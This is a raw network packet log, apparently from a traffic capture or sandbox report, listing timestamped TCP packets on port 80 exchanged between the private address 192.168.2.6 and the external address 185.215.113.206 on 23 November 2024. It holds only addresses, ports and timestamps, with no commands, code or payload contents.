Nov 23, 2024 05:02:26.166085005 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.166104078 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.166142941 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.167022943 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.167093039 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.167112112 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.167241096 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.167929888 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.168019056 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.168047905 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.168131113 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.168889046 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.168931007 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.168972969 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.169019938 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.169816017 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.169859886 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.169910908 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.169958115 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.170763969 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.170789003 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.170949936 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.170949936 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.180792093 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.180829048 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.180841923 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.180881023 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.181046009 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.181113005 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.181159019 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.181272984 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.181966066 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.182005882 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.182068110 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.182138920 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.182898998 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.182971001 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.183011055 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.183118105 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.183845043 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.183957100 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.183964968 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.184014082 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.184777975 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.184870005 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.184896946 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.184971094 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.185719967 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.185775995 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.185817957 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.185879946 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.186664104 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.186785936 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.186790943 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.186836958 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.187621117 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.187659025 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.187701941 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.187844992 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.188508987 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.188563108 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.188623905 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.188677073 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.189441919 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.189488888 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.257062912 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.257134914 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.257189989 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.257189989 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.257314920 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.257363081 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.257476091 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.257523060 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.258299112 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.258349895 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.258366108 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.258409977 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.259202957 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.259287119 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.259319067 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.259363890 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.260121107 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.260164976 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.260211945 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.260279894 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.261079073 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.261174917 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.261178017 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.261229992 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.261991978 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.262110949 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.262124062 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.262208939 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.262947083 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.263004065 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.263047934 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.263091087 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.263858080 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.263905048 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.263971090 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.264106989 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.264802933 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.264890909 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.264915943 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.264956951 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.265763044 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.265861988 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.265866041 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.265913963 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.266733885 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.266777039 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.266782045 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.266818047 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.267632961 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.267692089 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.267738104 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.267800093 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.268558979 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.268651962 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.268671036 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.268728018 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.269490957 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.269551039 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.269598007 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.269651890 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.270435095 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.270483971 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.270530939 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.270591974 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.271362066 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.271410942 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.271496058 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.271541119 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.347974062 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.348047018 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.348092079 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.348141909 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.348402977 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.348526001 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.348606110 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.348663092 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.348706007 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.348767042 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.349539042 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.349577904 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.349622965 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.349718094 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.350471973 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.350554943 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.350589991 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.350641966 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.351408005 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.351468086 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.351520061 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.351594925 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.352339983 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.352402925 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.352447033 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.352526903 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.353298903 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.353409052 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.353425026 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.353494883 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.354222059 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.354294062 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.354330063 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.354376078 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.355155945 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.355237007 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.355248928 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.355298996 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.356091022 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.356195927 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.356214046 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.356240034 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.357048035 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.357099056 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.357136965 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.357136965 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.357963085 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.358021975 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.358073950 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.358150959 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.358918905 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.359025002 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.359025002 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.359095097 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.359833956 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.359904051 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.359941006 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.359985113 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.360872030 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.360954046 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.361036062 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.361118078 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.361704111 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.361768961 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.361804962 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.361871004 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.362756968 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.362773895 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.362806082 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.362829924 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.363589048 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.363677979 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.363688946 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.363735914 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.364541054 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.364638090 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.364649057 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.364758968 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.365459919 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.365540981 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.365576982 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.365627050 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.366425991 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.366590023 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.366628885 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.366628885 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.367343903 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.367408991 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.367446899 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.367543936 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.368263960 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.368316889 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.368360043 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.368412971 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.369205952 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.369302988 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.369316101 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.369362116 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.370138884 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.370223999 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.370251894 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.370440960 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.371062994 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.371123075 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.371197939 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.371248007 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.372010946 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.372093916 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.382042885 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.382095098 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.382111073 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.382174969 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.382586956 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.382642031 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.382647038 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.382700920 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.383487940 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.383505106 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.383565903 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.383565903 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.384388924 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.384448051 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.384496927 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.384557009 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.385339975 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.385412931 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.385436058 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.385539055 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.386276960 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.386387110 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.386405945 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.386554003 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.387217999 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.387285948 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.387330055 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.387396097 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.388160944 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.388216019 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.388266087 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.388356924 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.389069080 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.389172077 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.389185905 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.389235973 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.390006065 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.390069962 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.390109062 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.390211105 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.458425999 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.458532095 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.458635092 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.458635092 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.458822012 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.458892107 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.458930016 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.459054947 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.459660053 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.459817886 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.459964037 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.460072041 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.460077047 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.460141897 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.460823059 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.460891962 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.460933924 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.460979939 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.461663961 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.461716890 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.461762905 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.461850882 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.462515116 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.462563038 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.462605953 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.462651968 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.463359118 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.463452101 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.463464975 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.463517904 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.464221001 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.464278936 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.464322090 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.464378119 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.465049028 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.465142012 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.465190887 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.465190887 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.465910912 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.465981007 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.466018915 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.466100931 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.466742992 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.466799974 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.466844082 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.466890097 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.467581987 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.467684984 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.467689991 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.467739105 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.468449116 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.468502998 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.468542099 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.468630075 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.469286919 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.469357967 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.469398975 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.469449043 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.470138073 CET	80	49724	185.215.113.206	192.168.2.6
